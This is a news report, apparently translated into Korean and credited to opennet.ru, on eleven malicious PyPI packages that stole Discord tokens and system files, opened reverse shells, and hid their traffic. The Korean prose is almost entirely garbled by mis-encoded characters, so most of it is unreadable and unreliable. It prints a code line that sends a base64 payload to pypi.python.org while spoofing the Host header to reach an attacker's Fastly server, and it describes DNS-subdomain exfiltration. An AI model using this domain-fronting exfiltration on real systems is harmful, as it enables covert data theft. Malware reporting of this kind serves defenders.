PyPI(Python Package Index) ๋๋ ํฐ๋ฆฌ์์ ์ ์ฑ์ฝ๋๊ฐ ํฌํจ๋ ํจํค์ง 11๊ฐ๊ฐ ์๋ณ๋์์ต๋๋ค. ๋ฌธ์ ๊ฐ ํ์ธ๋๊ธฐ ์ ์ ํจํค์ง๋ ์ด 38ํ ๋ค์ด๋ก๋๋์์ต๋๋ค. ํ์ง๋ ์ ์ฑ ํจํค์ง๋ ๊ณต๊ฒฉ์ ์๋ฒ์์ ํต์ ์ฑ๋์ ์จ๊ธฐ๊ธฐ ์ํด ์ ๊ตํ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ์ ๋ช ํฉ๋๋ค.
- importantpackage(6305 ๋ค์ด๋ก๋), important-package(12897) - ์์คํ ์ ๋ํ ์ ์ก์ธ์ค(๋ฆฌ๋ฒ์ค ์)๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด pypi.python.org์ ์ฐ๊ฒฐํ๋ ๊ฒ์ฒ๋ผ ๊ฐ์ฅํ์ฌ ์ธ๋ถ ์๋ฒ์ ๋ํ ์ฐ๊ฒฐ์ ์ค์ ํ๊ณ trevorc2 ํ๋ก๊ทธ๋จ์ ์ฌ์ฉํ์ฌ ํต์ ์ฑ๋.
- pptest(10001), ipboards(946) - ์์คํ ์ ๋ํ ์ ๋ณด(์ฒซ ๋ฒ์งธ ํจํท์๋ ํธ์คํธ ์ด๋ฆ, ์์ ๋๋ ํฐ๋ฆฌ, ๋ด๋ถ ๋ฐ ์ธ๋ถ IP, ๋ ๋ฒ์งธ ํจํท์๋ ์ฌ์ฉ์ ์ด๋ฆ ๋ฐ ํธ์คํธ ์ด๋ฆ)๋ฅผ ์ ์กํ๊ธฐ ์ํ ํต์ ์ฑ๋๋ก DNS๋ฅผ ์ฌ์ฉํ์ต๋๋ค. .
- owlmoon(3285), DiscordSafety(557), yiffparty(1859) - ์์คํ ์์ Discord ์๋น์ค ํ ํฐ์ ์๋ณํ์ฌ ์ธ๋ถ ํธ์คํธ๋ก ๋ณด๋์ต๋๋ค.
- trrfab (287) - /etc/passwd, /etc/hosts, /home์ ์๋ณ์, ํธ์คํธ ์ด๋ฆ ๋ฐ ๋ด์ฉ์ ์ธ๋ถ ํธ์คํธ๋ก ๋ณด๋์ต๋๋ค.
- 10Cent10 (490) - ์ธ๋ถ ํธ์คํธ์์ ์ญ๋ฐฉํฅ ์ ์ฐ๊ฒฐ์ ์ค์ ํ์ต๋๋ค.
- yandex-yt(4183) - ์์คํ ์ด ์์๋์๋ค๋ ๋ฉ์์ง๋ฅผ ํ์ํ๊ณ nda.ya.ru(api.ya.cc)๋ฅผ ํตํด ์คํ๋ ์ถ๊ฐ ์กฐ์น์ ๋ํ ์ถ๊ฐ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง๋ก ๋ฆฌ๋๋ ์ ๋ฉ๋๋ค.
ํนํ ์ฃผ๋ชฉํ ์ ์ importantpackage ๋ฐ important-package ํจํค์ง์ ์ฌ์ฉ๋๋ ์ธ๋ถ ํธ์คํธ์ ์ก์ธ์คํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ์ด ํจํค์ง๋ ํ๋์ ์จ๊ธฐ๊ธฐ ์ํด PyPI ๋๋ ํฐ๋ฆฌ์ ์ฌ์ฉ๋๋ Fastly ์ฝํ ์ธ ์ ๋ฌ ๋คํธ์ํฌ๋ฅผ ์ฌ์ฉํ์ต๋๋ค. ์ค์ ๋ก ์์ฒญ์ pypi.python.org ์๋ฒ๋ก ์ ์ก๋์์ง๋ง(HTTPS ์์ฒญ ๋ด๋ถ์ SNI์ python.org ์ด๋ฆ ์ง์ ํฌํจ), HTTP โHostโ ํค๋์๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ โโ์๋ฒ ์ด๋ฆ์ด ํฌํจ๋์ด ์์์ต๋๋ค(sec. forward.io.global.prod.fastly.net). ์ฝํ ์ธ ์ ์ก ๋คํธ์ํฌ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ ๋ pypi.python.org์ ๋ํ TLS ์ฐ๊ฒฐ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ ์๋ฒ์ ์ ์ฌํ ์์ฒญ์ ๋ณด๋์ต๋๋ค.
PyPI ์ธํ๋ผ๋ Varnish ํฌ๋ช ํ๋ก์๋ฅผ ์ฌ์ฉํ์ฌ ์ผ๋ฐ์ ์ธ ์์ฒญ์ ์บ์ํ๊ณ ์ต์ข ์๋ฒ๊ฐ ์๋ CDN ์์ค์์ TLS ์ธ์ฆ์ ์ฒ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก์๋ฅผ ํตํด HTTPS ์์ฒญ์ ์ ๋ฌํ๋ Fastly ์ฝํ ์ธ ์ ๋ฌ ๋คํธ์ํฌ๋ก ๊ตฌ๋๋ฉ๋๋ค. ๋์ ํธ์คํธ์ ๊ด๊ณ์์ด ์์ฒญ์ HTTP "ํธ์คํธ" ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ์ํ๋ ํธ์คํธ๋ฅผ ๊ฒฐ์ ํ๋ ํ๋ก์๋ก ์ ์ก๋๋ฉฐ ํธ์คํธ ๋๋ฉ์ธ ์ด๋ฆ์ ๋ชจ๋ Fastly ํด๋ผ์ด์ธํธ์ ์ผ๋ฐ์ ์ธ CDN ๋ก๋ ๋ฐธ๋ฐ์ IP ์ฃผ์์ ์ฐ๊ฒฐ๋ฉ๋๋ค.
๊ณต๊ฒฉ์์ ์๋ฒ๋ ๋ํ ๋ชจ๋ ์ฌ๋์๊ฒ ๋ฌด๋ฃ ์๊ธ์ ๋ฅผ ์ ๊ณตํ๊ณ ์ต๋ช ๋ฑ๋ก๋ ํ์ฉํ๋ CDN Fastly์ ๋ฑ๋กํฉ๋๋ค. "์ญ๋ฐฉํฅ ์ ธ"์ ์์ฑํ ๋ ํผํด์์๊ฒ ์์ฒญ์ ๋ณด๋ด๋ ๋ฐฉ์๋ ์ฌ์ฉ๋์ง๋ง ๊ณต๊ฒฉ์์ ํธ์คํธ ์ธก์์ ์์๋๋ค๋ ์ ์ ์ฃผ๋ชฉํ ๋งํฉ๋๋ค. ์ธ๋ถ์์ ๋ณผ ๋ ๊ณต๊ฒฉ์ ์๋ฒ์์ ์ํธ ์์ฉ์ PyPI TLS ์ธ์ฆ์๋ฅผ ์ฌ์ฉํ์ฌ ์ํธํ๋ PyPI ๋๋ ํฐ๋ฆฌ์์ ํฉ๋ฒ์ ์ธ ์ธ์ ์ฒ๋ผ ๋ณด์ ๋๋ค. ์ด์ ์๋ "๋๋ฉ์ธ ํ๋ก ํ "์ผ๋ก ์๋ ค์ง ์ ์ฌํ ๊ธฐ์ ์ด ์ฐจ๋จ์ ์ฐํํ ๋ ํธ์คํธ ์ด๋ฆ์ ์จ๊ธฐ๋ ๋ฐ ์ ๊ทน์ ์ผ๋ก ์ฌ์ฉ๋์์ผ๋ฉฐ, ์ผ๋ถ CDN ๋คํธ์ํฌ์์ ์ ๊ณต๋๋ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ SNI์ ๊ฐ์ ํธ์คํธ๋ฅผ ํ์ํ๊ณ ์ค์ ๋ก ๋๋ฉ์ธ ์ด๋ฆ์ ์ ์กํ์ฌ HTTPS์ ์ก์ธ์คํ์ต๋๋ค. TLS ์ธ์ ๋ด๋ถ์ HTTP ํธ์คํธ ํค๋์ ์์ฒญ๋ ํธ์คํธ.
์ ์์ ์ธ ํ๋์ ์จ๊ธฐ๊ธฐ ์ํด TrevorC2 ํจํค์ง๋ฅผ ์ถ๊ฐ๋ก ์ฌ์ฉํ์ฌ ์ผ๋ฐ ์น ํ์๊ณผ ์ ์ฌํ๊ฒ ์๋ฒ์ ์ํธ ์์ฉํ์ต๋๋ค. ์๋ฅผ ๋ค์ด "https://pypi.python.org/images/" ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๋ ๊ฒ์ฒ๋ผ ์์ฅํ์ฌ ์ ์์ ์ธ ์์ฒญ์ด ์ ์ก๋์์ต๋๋ค. guid=โ guid ๋งค๊ฐ๋ณ์์ ์ ๋ณด ์ธ์ฝ๋ฉ์ด ํฌํจ๋์ด ์์ต๋๋ค. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
pptest ๋ฐ ipboards ํจํค์ง๋ DNS ์๋ฒ์ ๋ํ ์ฟผ๋ฆฌ์์ ์ ์ฉํ ์ ๋ณด ์ธ์ฝ๋ฉ์ ๊ธฐ๋ฐ์ผ๋ก ๋คํธ์ํฌ ํ๋์ ์จ๊ธฐ๊ธฐ ์ํด ๋ค๋ฅธ ์ ๊ทผ ๋ฐฉ์์ ์ฌ์ฉํ์ต๋๋ค. ์
์ฑ์ฝ๋๋ โnu4timjagq4fimbuhe.example.comโ๊ณผ ๊ฐ์ DNS ์์ฒญ์ ์ํํ์ฌ ์ ๋ณด๋ฅผ ์ ์กํ๋๋ฐ, ์ ์ด ์๋ฒ๋ก ์ ์ก๋๋ ๋ฐ์ดํฐ๋ ํ์ ๋๋ฉ์ธ ์ด๋ฆ์ base64 ํ์์ ์ฌ์ฉํ์ฌ ์ธ์ฝ๋ฉ๋ฉ๋๋ค. ๊ณต๊ฒฉ์๋ example.com ๋๋ฉ์ธ์ DNS ์๋ฒ๋ฅผ ์ ์ดํ์ฌ ์ด๋ฌํ ๋ฉ์์ง๋ฅผ ๋ฐ์ต๋๋ค.
์ถ์ฒ : opennet.ru